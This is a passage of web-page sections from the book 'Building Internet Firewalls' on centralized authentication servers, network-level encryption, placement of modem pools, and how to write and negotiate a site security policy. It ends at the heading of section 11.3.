Right now, most sites don't have Kerberos clients available, so even if you install Kerberos versions of your servers, your users will not be able to log in from arbitrary other sites, because it requires modified software on both ends.

10.4.2 TIS FWTK Authentication Server

The authentication server in the TIS FWTK is another commonly used solution for authenticating users coming in from the Internet. The server implements a variety of authentication mechanisms, such as standard reusable passwords (not recommended), S/Key, Security Dynamics SecurID cards, and Digital Pathways SNK-004 cards. In addition, the server is modular and extensible, and is designed so that new authentication mechanisms can easily be integrated.

Traditionally, programs wishing to authenticate a user (such as the login program, or the ftpd daemon) have had to know how to authenticate a user; they have had to understand and implement whatever authentication method or methods were to be used. In a UNIX system, this means that these programs have to do all of the following to authenticate a user:

  1. Prompt the user for a login name.

  2. Look up that login name and obtain its encrypted password.

  3. Prompt the user for a password.

  4. Use the user-provided password and the first two characters from the encrypted password to encrypt a known string (eight bytes of nulls).

  5. Check to see if the result of this encryption matches the encrypted password for the user.

If you want to add a second authentication mechanism (for example, the S/Key mechanism, which we discussed earlier), you have to modify all of these programs to understand this second mechanism as well as, or instead of, the standard UNIX password mechanism. And if you later want to add a third authentication mechanism (for example, support for the SecurID cards), you have to modify the programs yet again; and so it would go for each additional authentication mechanism. Each time you modify these programs, you're making them bigger and more complex, and increasing the chances that you've introduced some kind of bug that's going to result in a security problem. (This is a serious risk because these are very security-critical programs - they control access to your system.)

The TIS FWTK authentication server takes a different approach. With it, you modify all the authenticating programs (e.g., login, ftpd) once, to make them talk to the authentication server instead of doing the authentication themselves. All of the details of the authentication mechanism - e.g., what to prompt the user with, how to validate the user's response, etc. - are then handled by the authentication server. When you want to add or modify authentication methods, you do so by changing the authentication server (which is modular and designed to accommodate such changes), not by changing the individual authenticating programs.

A single authentication server can handle any number of client machines and programs, and any number of different authentication methods; different users within the same server can use different authentication methods. For example, some might use S/Key while some might use the Digital Pathways SNK-004 cards.

When a client program (such as login, or ftpd) wishes to authenticate someone using the TIS FWTK authentication server, it has to go through the following steps:

  1. Prompt the user for a login name.

  2. Contact the authentication server and tell it who is trying to log in.

  3. Receive a response from the authentication server that tells it what to prompt the user with.

  4. Display the prompt specified by the authentication server.

  5. Collect the user's response and send it to the authentication server.

  6. Receive either an OK or an error message from the authentication server.

  7. Allow the user access (if OK) or display the error message.

This whole process is carried out with a single TCP connection between the client and the authentication server, so that the server knows it's talking to the same client and the client knows it's talking to the same server throughout the authentication process.

The authentication server consults its databases to determine how to authenticate that user and determines the appropriate prompt for the authentication mechanism for that user. For example:

  • If traditional passwords are being used as the authentication method, the prompt will be a simple "Password:" prompt.

  • If the authentication method is S/Key, the prompt will be the number of the key the user is to respond with.

  • If the authentication method is the Digital Pathways SKN-004 card, the prompt will be a randomly generated challenge number.

Figure 10.3 shows how the TIS FWTK authentication server works.

Figure 10.3: How the TIS FWTK authentication server works

The TIS FWTK includes a number of programs (such as ftpd) that, in addition to other modifications and enhancements for security, have already been modified to use the authentication server. Converting an existing program to use the authentication server, rather than traditional UNIX passwords, is pretty straightforward. It typically involves only 20 or so lines of C code, examples of which are given in the toolkit.

The toolkit also includes some programs to support binary-only systems where you don't have the source to modify. For example, for systems in which you don't have the source code to the login program available for modification, the toolkit includes a program you can use as the user's shell (which is specified for each user in the /etc/passwd file) instead of one of the normal shells (e.g., /bin/csh or /bin/sh) This replacement shell authenticates the user with the authentication server, and, if the user passes, starts his real shell.

10.4.2.1 Problems with the authentication server

The major problem in running an authentication server is getting secure communication between the client and the server. An attacker who can convincingly pretend to be the authentication server can authenticate as anybody.

Some configurations may have additional problems; for example, using shell replacement can produce problems, because not all programs deal well with situations in which a user's shell environment variable and the entry for that user in the /etc/passwd file do not match.

10.4.3 Commercial Solutions

Many commercial systems offering to do authentication are now on the market. In particular, "single sign-on" systems are a hot topic right now. These are systems that supposedly let a user log in once (presumably once each day), and then automatically log the user in to whatever other systems that user needs to access, without the user having to log in to each system individually.

There are a variety of issues you need to think about when you are considering a commercial solution; the primary considerations are availability, security, and cost.

Availability

This is a simple consideration. Is the system available for all the platforms and programs you need to use it for? Many systems address only certain types of machines (e.g., PCs or UNIX systems), and many handle only certain types of access (e.g., login but not FTP access).

Security

This consideration is tougher to get a handle on. There are several things you need to think about. First, how hard is the system going to be to compromise? Second, if it is compromised, what implications does that have for the rest of your security?

Many of these commercial systems use proprietary algorithms that are not available for client or academic scrutiny. Unfortunately, there are a lot more ways to do these algorithms wrong than to do them right. Without an independent analysis of the system, you have to rely on the vendor's word that they got it right.

Other systems build their single sign-on capability on top of the standard UNIX .rhosts mechanisms used by the so-called Berkeley "r" commands (rsh, rlogin rcp, rdist, etc.). These commands are notoriously easy for an attacker to exploit because they create a web of trust among machines. (The weaknesses and vulnerabilities of these commands are discussed in Chapter 8.)

Cost

This consideration is almost always an issue. What will it cost to deploy this system in your environment to meet your needs? Some costs are one-time capital expenses; e.g., some systems require a dedicated piece of hardware, essentially a single-purpose PC, to generate the challenges and check the responses. Others are per-user expenses; for example, some systems require smart cards for all your users. Still others are licensing or support expenses. The systems are often priced depending on the number of users you'll support; systems to support more users obviously cost more.

The only commercial authentication system that is used extensively on the Internet is the SecurID system from Security Dynamics discussed earlier. A variety of commercial products, particularly terminal servers, support the system.[3]

[3] Apparently because of aggressive marketing and partnering by Security Dynamics, and not because of any inherent advantage of the product.

Previous: 10.3 Authentication Mechanisms | Building Internet Firewalls | Next: 10.5 Network-Level Encryption
10.3 Authentication Mechanisms | Book Index | 10.5 Network-Level Encryption


[Chapter 10] 10.5 Network-Level Encryption

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 10.4 Complete Authentication Systems Chapter 10
Authentication and Inbound Services 		Next: 10.6 Terminal Servers and Modem Pools

10.5 Network-Level Encryption

Encryption allows you to create secure connections over insecure channels. Encrypting your network traffic provides two useful guarantees: privacy and authentication. Privacy is obvious; if your data is encrypted by the sending end, sent over an unsecured network, and then decrypted by the receiving end, your data is kept private from someone snooping on the unsecured network. Authentication is less obvious, but very useful. Basically, if the receiving end is successfully able to decrypt the data, it knows the data must have really come from the sending end (not from somebody in the middle pretending to be the sending end). Why? Because the data was properly encrypted, and only the sending end could do that. This all assumes, of course, that the keys that need to be kept secret have been kept secret; someone who knows your keys can violate both your privacy and your authentication.

10.5.1 At What Level Do You Encrypt?

Encryption over the Internet can take place at various levels; the most common are the application, link, and network levels.

Application-level encryption requires support in all the applications (both clients and servers) you want to use. This might be an effective approach if you have one or two applications that you use heavily (or are particularly concerned about) across the Internet among a small number of machines, because you can install custom, encrypting versions of those clients and servers on those machines. For general use, however, it doesn't scale up well; you may not even have source code available for all the applications you wish to operate encrypted. Some applications use PGP to provide application-level encryption. Senders use PGP to encrypt their outgoing mail before sending it across the Internet, and recipients use PGP to decrypt it. (PGP is also frequently used independently of applications, which is less convenient for the user, but extremely flexible.)

Application-level encryption is done at too high a level to be useful as a blanket protection for a network link; you have to spend too much time and effort integrating support for it into too many different clients, servers, and procedures. However, application-level encryption may be useful if you only need a single application to work securely.

Link-level encryption protects only a single network link. For example, encryption in modems at either end of a leased line will protect your data as it traverses that leased line, but not elsewhere, as it traverses other lines, or passes through routers or other intermediate hosts. Link-level encryption is done at too low a level to be widely useful. Usually, you don't control all the links in the untrusted network between the source and the destination, so you can't really ensure that the link-level encryption is being done properly (or at all) at each of those points.

Network-level encryption seems to be a workable middle ground between application-level encryption and link-level encryption. With network-level encryption, all network traffic between two trusted sites is encrypted at one end, sent across the untrusted intermediate network, and then decrypted at the other end. The encryption and decryption is done by routers or other network devices at the perimeter of each trusted site. A firewall, which all traffic must pass through anyway, is thus a natural place to do network-level encryption. To machines within either trusted site, the traffic is unencrypted; this means that those machines don't require any custom applications or configuration to use or benefit from the encryption. To machines outside the trusted sites, the packets are encrypted, and thus are private (unintelligeable to those without the keys) and authenticated (could only have been sent by a key-holder).

10.5.2 What Do You Encrypt?

When you are performing network-level encryption, how much of the packet do you want to encrypt?

  • Only the TCP, UDP, or ICMP data segments (leaving the TCP, UDP, or ICMP headers, as well as the IP headers, unencrypted)?

  • The IP data segment (including the whole TCP, UDP, or ICMP packet)?

  • The whole IP packet?

If you encrypt only the TCP, UDP, or ICMP data segments, you're protecting the data itself from compromise by an attacker, and you're making life easy for your packet filtering system (it can still see all the headers it needs to for normal packet filtering). However, a snooper can still see which machines are using which protocols to communicate with which other machines.

If you encrypt the IP data segment (which means that the whole UDP, TCP, or ICMP packet, headers and all, is encrypted), you prevent a snooper from seeing what protocols you're using (they can still see what hosts are talking to what other hosts), but you may make life harder for your own packet filtering system. Unless the packet filtering system is between the encryption unit and the internal network, it can no longer see the TCP, UDP, or ICMP headers, because they're encrypted as part of the IP data segment. If your packet filtering system is outside the encryption unit (between the encryption unit and the untrusted network), it would have to make all of its decisions strictly on the basis of IP source and destination addresses, which is very rarely enough.

If you encrypt the whole IP packet, you prevent an attacker from seeing anything, but you may also prevent your packet filtering system from seeing anything either, depending on where it's located relative to the encryption unit. To fully encrypt an IP packet between two sites, you have to provide some sort of encapsulation "tunnel" - e.g., a simple TCP connection - between the encryption units at the two sites to send the encrypted packets through. The reason the tunnel is necessary is because the IP headers are no longer there for the intermediate routers to look at. All an attacker can see is that the two encryption units are talking to each other. Some commercial routers, such as Morning Star Express routers (as well as UNIX machines running Morning Star PPP software) are capable of creating such "virtual private networks." Morning Star does it by running encrypted PPP over a TCP connection between two of their boxes; so you have your original packet encapsulated in an encrypted PPP packet, which is itself encapsulated in a TCP packet from one Morning Star box to the other.

Most sites using network-level encryption don't mind if attackers can determine which machines are talking to each other, or even what protocols they're using (this attack is commonly called traffic analysis). Such sites generally encrypt only the TCP, UDP, or ICMP data segments of packets, for their own convenience in processing the packets. Sites that encrypt the whole TCP, UDP, or ICMP packet (the IP data segment) generally do it for performance reasons, rather than for security reasons: it's faster for a router to find the start of the IP data segment than for it to find the start of the IP data segment and, within that, the start of the TCP, UDP, or ICMP data segment.

10.5.3 Where Do You Encrypt?

If you're going to set up network-level encryption, the question of where you do the encryption and decryption relative to your packet filtering is an important one. If you do the encryption and decryption inside the packet filtering perimeter (i.e., on your internal net), then the filters just have to allow the encrypted packets in and out. This is especially easy if you're doing tunneling, because all the tunneled packets will be addressed to the same remote address and port number at the other end of the tunnel (the decryption unit). On the other hand, doing the encryption and decryption inside your filtering perimeter means that packets arriving encrypted are not subject to the scrutiny of the packet filters. This leaves you vulnerable to attack from the other site if that site has been compromised.

If you do the encryption and decryption outside the packet filtering perimeter (i.e., on your perimeter net or in your exterior router), then the packets coming in from the other site can be subjected to the full scrutiny of your packet filtering system. On the other hand, they can also be subjected to the full scrutiny of anyone who has broken into a machine on your perimeter net, such as your bastion host.

Encryption is starting to appear as a feature in some commercial router products, and several vendors have announced their intentions to add encryption. This trend will probably continue over the next few years. As yet, though, there are few or no standards for IP network-level encryption, so few of the products interoperate with each other. They all assume that you have another one of their products at the other end. We hope that his will change, and that standards will emerge as encryption becomes more common.

Figure 10.4 shows a simplified view of network-level encryption scheme.

Figure 10.4: Network-level encryption

10.5.4 Key Distribution

As with any encryption system, key distribution for network-level encryption can be a very sticky problem. All of the discussion above assumes that the two ends share a key so that each knows how to encrypt and decrypt data sent to and from the other. Most of the systems in use today rely on "out of band" key distribution: their manufacturers say "key distribution is your problem, not ours." Customers have to manually establish keys (by transferring them by voice over the phone, or on floppy disk, or through some other secure, private mechanism) on each participating system. This means that this network-level encryption can work well for sites you exchange information with frequently (e.g., partners, key clients, or other branches of your own organization). But it doesn't work well for ad hoc or transient connections, because of the setup time and effort involved. Some systems use public key technology or key distribution systems, and can deal more quickly and effectively with ad hoc or transient connections.

Previous: 10.4 Complete Authentication Systems | Building Internet Firewalls | Next: 10.6 Terminal Servers and Modem Pools
10.4 Complete Authentication Systems | Book Index | 10.6 Terminal Servers and Modem Pools


[Chapter 10] 10.6 Terminal Servers and Modem Pools

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 10.5 Network-Level Encryption Chapter 10
Authentication and Inbound Services 		Next: III. Keeping Your Site Secure

10.6 Terminal Servers and Modem Pools

Another issue that is only somewhat related to firewalls (but that the security folks putting up firewalls are often asked to address) is where to locate the terminal servers and modem pools within a site's network. You definitely need to pay as much attention to the security of your dial-up access ports as you do to the security of your Internet connection. However, dial-up security (authentication systems, callback systems, etc.) is a whole topic of its own, separate from firewalls. We'll therefore restrict our comments to those related to firewalls.

The big firewall question concerning terminal servers and modem pools is where to put them: do you put them inside your security perimeter, or outside? Our advice is to put them on the inside and to protect them carefully. You'll not only be doing yourself a favor, you'll also be a good neighbor. Putting open terminal servers on the Internet is a risk to other people's sites as well as your own.

If the modem ports are going to be used primarily to access internal systems and data (that is, employees working from home or on the road), then it makes sense to put them on the inside. If you put them on the outside, you'd have to open holes in your perimeter to allow them access to the internal systems and data - holes that an attacker might be able to take advantage of. Also, if you put them on the outside, then an attacker who has compromised your perimeter (broken into your bastion host, for example) could potentially monitor the work your users do, essentially looking over their shoulders as they access private, sensitive data. If you do put the modems on the inside, you'll have to protect them very carefully, so they don't become an easier break-in target than your firewall. It doesn't do any good to build a first-class firewall if someone can bypass it by dialing into an unprotected modem connected to the internal network.

On the other hand, if the modem ports are going to be used primarily to access external systems (that is, by employees or guests who mainly use your site as an access point for the Internet), then it makes more sense to put them on the outside. There's no sense in giving someone access to your internal systems if they don't need it. This external modem pool should be treated just as suspiciously as the bastion host and the other components of your firewall.

If you find that you need both types of access, then you might want to consider two modem pools: one on the inside, carefully protected, to access internal systems and another on the outside to access the Internet.

If your terminal servers and modem pools are being used to support dial-up network connections from homes or other sites, you should make sure you enforce any implicit assumptions you have about that usage. For instance, people setting up PPP accounts on terminal servers generally assume that the PPP account is going to be used by a single remote machine running standalone. More and more machines, however, are part of LANs, even at home (Dad's PC is in the den, Mom's in the living room). That PPP connection could be used not just by the machine you set it up for, but by anything that machine is connected to, and anything those machines are connected to, and so forth. The machine that uses the PPP account might be connected to a LAN, with any number of other machines on it; any of them might be connected (via other PPP connections, for example) to another site or an Internet service provider. If you don't do anything to prevent it, traffic could flow from the Internet, to the second PC, to the "legitimate" PC, and finally into your own net, completely bypassing your firewall.

You can prevent this problem by simply enabling packet filtering on the PPP connection that limits what it can do to what you expect it to do (i.e., that limits packets on the connection to only packets to or from the machine you expect to be at the other end of the connection).

Some sites with significant dial-up networking activity take the approach of building a separate firewall just for that activity. See the discussion of multiple perimeter networks in Chapter 4, Firewall Design.

Previous: 10.5 Network-Level Encryption | Building Internet Firewalls | Next: III. Keeping Your Site Secure
10.5 Network-Level Encryption | Book Index | III. Keeping Your Site Secure


[Chapter 11] Security Policies

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: III. Keeping Your Site Secure Chapter 11 Next: 11.2 Putting Together a Security Policy

11. Security Policies

Contents:
Your Security Policy
Putting Together a Security Policy
Getting Strategic and Policy Decisions Made
What If You Can't Get a Security Policy?

The word "policy" makes many people flinch, because it suggests impenetrable documents put together by unknowledgeable committees, which are then promptly ignored by everyone involved (except when they make a good excuse or weapon). That's not the kind of policy we're discussing in this chapter.

The policy we're talking about here is like a nation's foreign policy. It might be discussed in documents - of varying amounts of legibility - but its primary purpose is to lay out a direction, a theory of what you're trying to achieve. People sometimes confuse the words "policy," "strategy," and "tactics." A policy is what determines what wars you're going to fight and why. A strategy is the plan for carrying out the war. A tactic is a method for carrying out a strategy. Presidents determine policy; generals determine strategies; and anybody down to a foot soldier might determine a tactic.

Most of this book is about tactics. The tactics involved in building a firewall, the nitty-gritty details of what needs to be done here, are complex and intricate. However, no matter how good your tactics are, if your strategy and policy are bad, you can't succeed. In the 1800s, an American named William Walker set out to conquer Nicaragua for the United States. His strategy and tactics were, if not impeccable, certainly successful: he conquered Nicaragua. Unfortunately, there was a literal fatal flaw in his plan. The United States did not at the time want Nicaragua, and when he announced that he had conquered it, the U.S. government was completely uninterested in doing anything about it. Walker ended up ruling Nicaragua very briefly, before he was killed in a popular uprising. This was the result of getting the strategy and the tactics right, but completely botching the policy.

11.1 Your Security Policy

Most technical computer people consider a single, unified, published security policy to be desirable in the abstract, but believe - with a strong basis in personal experience - that attempting to come up with one is going to be extremely painful. For example, walk up to any system administrator and ask about users and passwords, and you are almost guaranteed to be rewarded with a rant. Everybody has a story about the apparent insanity of people faced with passwords, one of the simplest and most comprehensible security issues: the professor who explained that he was too important to need a good password; the mathematician who was told that he couldn't use a password because it was in an English dictionary (and who replied that he wasn't using the English word that was spelled that way, he was using the Russian word that was spelled that way, and nobody had told him not to use Russian words). This kind of experience is apt to convince system administrators that their user community is incapable of dealing intelligently with security issues.

There is no doubt that putting together a security policy is going to be a long, involved process, and that it's the exact opposite of the types of tasks most technical people enjoy. If you like to program, you are extremely unlikely to enjoy either the meetings or the bureaucracy involved in policy making. On the other hand, putting together a security policy is a great deal more amusing than dealing with the side effects of not having a policy. In the long run, you'll spend less time in meetings arguing about security if you get it out of the way ahead of time.

Developing a security policy also doesn't need to be as bad as you may be expecting. Many of the problems with security policies are caused by people who are trying to write a security policy that sounds like a security policy, which is to say that it's written in big legal and technical words and says threatening things about how users had better behave themselves. This doesn't work. It's also the most unpleasant way to do things, because it involves hostility and incomprehension all around. It's true that your organization may at some point need a security policy that's written in big legal words (to satisfy some big legal requirements). In that case, the security policy you write shouldn't contradict the legalistic document, but the policy you write doesn't need to be that legalistic one.

Another problem people have in trying to write security policies is that they have a strong feeling about what the policy ought to be, and they're uncomfortable that the actual policy they enforce does not meet that standard. There is a great deal of lip service paid to the notion that security should be absolute: you should have a site that nobody could ever break in to; where every user has exactly one account, and every account has exactly one user; and where all the passwords are excellent, and nobody ever uses anybody else's password for anything.

In the real world, nobody's site is like that, a fact that is well-known and well-accepted. That doesn't keep people from claiming that they want to make their site like that, sometimes in big words on many pieces of paper that they call a security policy. Invariably, every time, without exception, these policies are not followed by anybody.

It's unlikely that your policy is one that emphasizes security at all costs. Such a policy would be irrational. It is reasonable to value other things highly enough to be willing to compromise security.

Most houses would be more secure with bars over all the windows. Few people are willing to put bars over their windows, despite a desire to protect themselves. People have a number of reasons for compromising their security in this way. To start with, bars are expensive and they interfere with using the windows for many of their normal purposes (e.g., seeing out of, climbing out of in an emergency). But people are willing to go to equal expense and inconvenience to apply other security solutions, and they may avoid barring windows even when it's the cheapest and most convenient solution, because it looks bad and makes them feel oppressed.

This is entirely reasonable, and it's entirely reasonable to make the same type of decision about your computer security. You may not want the best security money can buy, or even the best security you can afford.

What do you want? You want the best security that meets your requirements for:

Affordability

How much money does the security cost?

Functionality

Can you still use your computers?

Cultural compatibility

Does it conflict with the way people at your site normally interact with each other and the outside world?

Legality

Does it meet the your site's legal requirements?

Don't pretend that you want to be absolutely secure, if only you could afford it. You don't live your life with the most perfect security money could buy. For the same reasons, it's extremely unlikely that your institution can maintain the characteristics that are important to it if it also installs the most perfect security money could buy. People don't like learning or working in a hostile environment; because they won't do it, you'll either lose the security or lose the organization.

Sometimes a small concession to insecurity can buy a large payoff in morale. For example, rulemakers reel at the idea of guest accounts, but a guest account for a spouse can make a big difference in how people feel about work. And there are sometimes unexpected results. One university computer center was asked why its student employees were allowed to hang around at all hours, even after the labs were closed, doing random activities of dubious value to the computer center; it seemed insecure at best. The answer was that several years before, an operator who was typing his girlfriend's term paper in a lab after hours had discovered and responded to a critical emergency. Because he had saved the facility from what seemed likely to be a million dollars worth of uninsured damage (insurance companies have a nasty tendency to consider floods in windowless third-floor computer rooms to be acts of God, and thus uninsurable), the computer facility management figured that all the computer time the operators wanted had already been paid for.

On the other hand, if you have too little security, you can lose the organization to lawyers or attackers, and what matters there is what you do, not what you write down. Writing down marvelous policies that don't get enforced certainly won't save you from people who are trying to break into your computer, and it generally won't save you from lawsuits, either. The law counts only policies that you make some attempt to enforce. Writing it down and brazenly not doing it proves that you aren't simply too stupid to know what to do: it demonstrates that you actually knew what you had to do, and didn't do it!

11.1.1 What Should a Security Policy Contain?

First and foremost, a security policy is a way of communicating with users and managers. It should tell them what they need to know to make the decisions they need to make about security.

11.1.1.1 Explanations

It's important that the policy be explicit and understandable about why certain decisions have been made. Most people will not follow rules unless they understand why they're important. A policy that specifies what's supposed to be done, but not why, is doomed. As soon as the people who wrote it leave, or forget why they made those decisions, it's going to stop having any effect.

11.1.1.2 Everybody's responsibilities

A policy sets explicit expectations and responsibilities among you, your users, and your management; it lets all of you know what to expect from each other. It's a mistake to distribute a policy that concentrates entirely on what users need to do to make the site secure (it seems hostile and unfair), or entirely on what system administrators need to do (it encourages the users to believe that somebody else will handle it, and they don't have to worry about it).

11.1.1.3 Regular language

Most people are not lawyers, and they're not security experts. They're comfortable with casual descriptions. You may be afraid to write a policy that way because it may seem uncomfortably casual and too personal. But it's more important to make your security policy friendly and understandable than to make it precise and official-looking. Write it as if you were explaining it to a reasonably bright but nontechnical friend. Keep it a communication between peers, not a memo from Mount Olympus. If that's not acceptable in your corporate culture, write two separate policy descriptions.

You will not get people to comply unless they understand the document and want to comply with it, and that means they have to at least be willing to read it. If they shut their brains off in paragraph two because the document sounds legal and threatening, you lose. You also lose if they decide that you think they're stupid, or if they decide that you don't care. Don't get so informal that you seem condescending or sloppy. If necessary, get a technical writer to clean up the punctuation and spelling.

11.1.1.4 Enforcement authority

Writing down the policy is not the point; living by it is. That means that when the policy isn't followed, something should happen to fix it. Somebody needs to be responsible for making those corrections happen, and the policy needs to specify who that's going to be and the general range of corrections. Here are some examples of what a security policy might specify:

  • Managers of certain services have the authority to revoke access.

  • Managers will be asked to take care of some kinds of transgressions.

  • Facilities that don't meet certain standards may be cut off from the corporate network and external access by the people who run the corporate network.

The policy should specify who is going to decide and give some indication of what kinds of penalties are available to them. It should not specify exactly what will happen when; it's a policy, not a mandatory sentencing law.

11.1.1.5 Provision for reviews

You can't expect to set a policy up once and forget it. The needs of your site will change over time, and policies that were perfectly sensible may become either too restrictive or too lax. Sometimes change is obvious: if you work for a startup company that goes from six people to 6,000 people, it will probably occur to you that things are different in important ways (but you still may not get around to redoing the security policy if you didn't set up a mechanism for that in advance). If you work for a 200-year old university, however, you may not expect much change. However, even if the organization appears to be doing its best to fossilize, the computers change, the external networks change, and new people come in to replace ones who leave. You still need to review and change your policies on a regular basis.

11.1.1.6 Discussion of specific security issues

Because of the differences between organizations, it's hard to be specific about issues without writing an entire book just about security policies. However, here are some common issues to consider when you are writing a policy:

  • Who is allowed to have an account at your site? Do you have guest accounts? What do you do about contractors, vendors, and clients?

  • Can accounts be shared between multiple people? What about a secretary who uses an executive's account to process that person's electronic mail? What about joint projects? What about family members? Is it sharing an account if you let somebody else borrow a window on your machine really quickly?

  • When do people lose the privilege of having an account, and what do you do about it? What happens if people leave or are denied access?

  • Who can set up dial-in modems? Is it OK for other people to set up dial-out modems? Is there anything special about PPP, SLIP, or ISDN lines?

  • What do people need to do before they connect a computer to the main network?

  • How secure do computers need to be before they get services from centrally maintained machines?

  • How secure do computers need to be in order to connect to a network with unprotected access to the Internet?

  • How is financial data going to be protected?

  • How is confidential information about people going to be protected?

  • What do individual users need to do to protect themselves and the site? What kinds of passwords should they have, and when should they change them?

  • What can people do on the Internet? Should they be transferring random executables in and running them?

  • What precautions do you need to take against viruses on personal computers?

  • Who can connect your site to external networks, and what's an external network? Is it OK for a project manager to connect your site to another specific site? How about putting in a second Internet connection?

  • How are home computers going to be secured? How are they going to get secure access to your network?

  • How are people who are traveling going to get access to the network?

  • What information is considered company confidential? How is it going to be protected? Can it be sent outside the site via electronic mail?

  • If you have remote sites, how are they going to get secure access to your main network?

11.1.2 What Should a Security Policy Not Contain?

Some pieces of information don't belong in your site's security policy, as we discuss in this section.

11.1.2.1 Technical details

The security policy needs to describe what you're trying to protect and why; it doesn't necessarily need to describe the details of how. It's much more useful to have a one-page document that describes "what" and "why" in terms that everyone in your organization can understand, than a 100-page document that describes "how," but that nobody except your most senior technical staff can understand.

For example, consider a policy that includes a requirement that says:

Nonreusable passwords shall be used to authenticate all incoming connections from the outside world, in order to prevent potential attackers from being able to capture reusable passwords by monitoring such connections.

This requirement is much more useful than a policy that says:

S/Key will be used for all incoming connections.

Why? Because the first policy describes what is to be protected and why, and it leaves how open so the technical staff can select the best implementation.

A policy that says the following is better yet:

Regular passwords are often stolen and reused when they pass across networks. We won't use passwords that can be reused across networks our company doesn't control.

This policy communicates the same information without the legal-style language. It also clarifies some other points. For example, in the original language does the "outside world" include companies that have special relationships with yours? It may seem obvious to you that it does, but it probably doesn't seem obvious to the managers who are arranging to work with those companies. The reworded language makes it clear what the criterion is (although you may still end up arguing about what networks meet it).

Policy can guide you in selecting and implementing technology, but it shouldn't be used to specify it. It's often much easier to get management to buy into, and sign off on, an overall policy than on a specific technology.

11.1.2.2 Somebody else's problems

Every site's security policy is different. Different sites have different concerns, different constraints, different users, and different capabilities; all of these lead to different policies. Further, a site's policy may change over time, as the site grows and changes. Don't assume that you need to do things the way they've always been done, or that you can borrow somebody else's policy and simply change the names in it.

Previous: III. Keeping Your Site Secure | Building Internet Firewalls | Next: 11.2 Putting Together a Security Policy
III. Keeping Your Site Secure | Book Index | 11.2 Putting Together a Security Policy


[Chapter 11] 11.2 Putting Together a Security Policy

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 11.1 Your Security Policy Chapter 11
Security Policies 		Next: 11.3 Getting Strategic and Policy Decisions Made

11.2 Putting Together a Security Policy

Once you know what you want in a security policy, how do you put one together?

11.2.1 What Is Your Security Policy?

The first step towards putting together a working security policy for your site is to decide what your personal opinion is. If you've been administering a site or making any decisions about security, you've been enforcing an internal theory about securiy, even if you've never articulated it. You're going to need to come to a clear and explicit understanding of what that internal policy is before you can discuss policy issues with other people in order to produce a written policy for your site.

With that in mind, look at the decisions you've made about security and decide what you think your site's security goals should be. That may not be the policy that your site ends up with, but it's an important first step.

11.2.2 What Is Your Site's Security Policy?

The second step towards putting together a working security policy for your site is to determine what everybody else's security policy is. What do the users and managers expect security to do for them? What do they think of the way security is handled currently? What are other computer facilities doing and why?

Every site has at least one security policy. The problem is that most sites have more than one; perhaps as many as there are people involved with the site's computers. Sometimes this proliferation of policies is purely unconscious; different computer facilities within the same site may be doing radically different things without even realizing it. Sometimes it's an open secret; administrators may be trying to maintain a security policy that they believe is necessary, even though the user population does not agree with them. Sometimes it's out-and-out war. Generally, people think of universities as the main place where computer users and computer administrators are engaged in open security warfare, but in fact many companies spend large amounts of time fighting about security issues (for example, administration and the engineers are often at odds).

Some of the security policies for a site may be written down already, but most are likely to be implicit and unpublicized. The only way to find out about them is to go and ask. Be sure to ask managers, system administrators, and users. Then look at the actual computers and see what's really going on. It's unlikely that anybody will actually lie to you. However, they may be telling you what they think is going on, or what they wish was going on, or what they know is supposed to be going on, instead of reporting the actual state of affairs.

Managers who are used to dealing with computers that have been secured may believe that computers are automatically secure; the shipped configuration will be reasonably safe if it is connected to a network. This is not true. In fact, the truth is almost the exact opposite. The default configuration that machines are shipped with is usually laughably insecure, and it requires considerable expertise to arrive at a secure configuration. Therefore, a manager who says that all of the computers are perfectly secure may be completely incorrect, without having the least intention of deceiving you.

If you ask questions that have clear "right" answers, most people will tend to try to give you those answers. Other people will become defensive. Try to ask neutral questions that don't have a clear bias. For example, don't ask people if they think security is important; instead, ask which is more important to them, security or a cooperative work environment, and then get them to expand on that answer.

When you talk to people, make it extremely clear why you're asking. Asking about security policies tends to give people the impression that you're trying to check up on them. Some people will try to get a good grade, rather than discussing reality. Others will become hostile (after all, why should you be checking up on them?). If you get either of these reactions, stop asking questions about security policies (there's no point in it if they're not going to give useful answers), and go back to trying to explain what you're doing and why. If they never believe you, ask somebody else.

11.2.3 External Factors That Influence Security Policies

Your site isn't completely independent. There are issues outside of a computer facility that influence security policy. These include legal requirements, contractual obligations, and existing organizational policies.

Let's look first at legal issues. In the United States, a publicly traded company has a legal responsibility to its shareholders to protect its assets. This means that if you work for such a company, even if everybody at the company agrees that you ought to remove all of the passwords and let the Internet in, you can't choose that as a security policy. Your security policy must show evidence that you are safeguarding the company's computers and information. What's required is "due diligence," an attempt in good faith to take normal precautions. "Normal precautions" limit what you need to do; you don't have a legal responsibility to require retinal scans before people can touch the computers!

Regardless of the type of institution you work for, in most places in the United States there is also a legal responsibility to safeguard certain types of information about employees. Employee reviews are generally legally protected; so are straightforward personnel records of information like home addresses. Universities have legal responsibilities regarding the safeguarding of student records, right down to the information about which students attend the university. Data about individuals has even more legal protection in some European countries. If you do not work for Human Resources or Student Records, you may think you don't have to worry about protecting this kind of information, but you're probably wrong. Usually, every manager or supervisor has confidential employee data to deal with; similarly, the information used to maintain accounts at universities contains confidential student data (e.g., whether or not the student is enrolled, and what classes they're taking).

Your organization may also have contractual obligations to protect data. If you have customer or client data on your systems, your contracts probably require you to protect it. (This may apply to research contracts at universities as well.) If you have source code or prerelease software, you almost certainly have a license that requires you to protect it.

Your organization may also have existing policies that influence security policies. Often, these are policies about the protection of data (usually written to meet the many and varied legal obligations discussed above), but there may be policies requiring that people have access to data, especially at universities and public institutions.

If your organization has a legal department, consult them. (Don't invite them to write up a policy; just ask them to explain the institution's legal obligations.) If your organization does not have a legal department, consult a senior manager. In any case, find any existing written policies and wade through them to see what they say that's relevant to security. Going through these written policies will also give you a good idea for what works and doesn't work in a written policy. If you like the existing policies, base your new ones on them. If you hate the existing policies, resist the temptation to make your new ones like them just because it's the way it's always been done before.

Previous: 11.1 Your Security Policy | Building Internet Firewalls | Next: 11.3 Getting Strategic and Policy Decisions Made
11.1 Your Security Policy | Book Index | 11.3 Getting Strategic and Policy Decisions Made


[Chapter 11] 11.3 Getting Strategic and Policy Decisions Made

Building Internet Firewalls

Building Internet FirewallsSearch this book
Previous: 11.2 Putting Together a Security Policy Chapter 11
Security Policies 		Next: 11.4 What If You Can't Get a Security Policy?

11.3 Getting Strategic and Policy Decisions Made

